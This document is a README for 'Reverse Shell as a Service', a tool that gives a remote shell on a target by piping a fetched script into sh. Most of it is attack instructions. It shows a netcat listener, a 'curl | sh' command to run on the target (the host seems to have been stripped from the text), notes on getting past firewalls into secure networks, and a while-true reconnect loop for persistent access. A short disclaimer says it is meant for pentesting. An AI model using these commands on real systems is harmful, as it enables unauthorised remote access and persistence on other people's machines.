Reverse Shell as a Service
Clone or download


Reverse Shell as a Service -

Build Status Coverage Status npm

Easy to remember reverse shell that should work on most Unix-like systems.

Detects available software on the target and runs an appropriate payload.


1. Listen for connection

On your machine, open up a port and listen on it. You can do this easily with netcat.

nc -l 1337

2. Execute reverse shell on target

On the target machine, pipe the output of into sh.

curl | sh

Go back to your machine, you should now have a shell prompt.

3. Don't be a dick

This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.




You can use a hostname instead of an IP.

curl | sh

Remote connections

Because this is a reverse connection it can punch through firewalls and connect to the internet.

You could listen for connections on a server at and get a reverse shell from inside a secure network with.

curl | sh


By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.

while true; do curl | sh; done

Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.


MIT © Luke Childs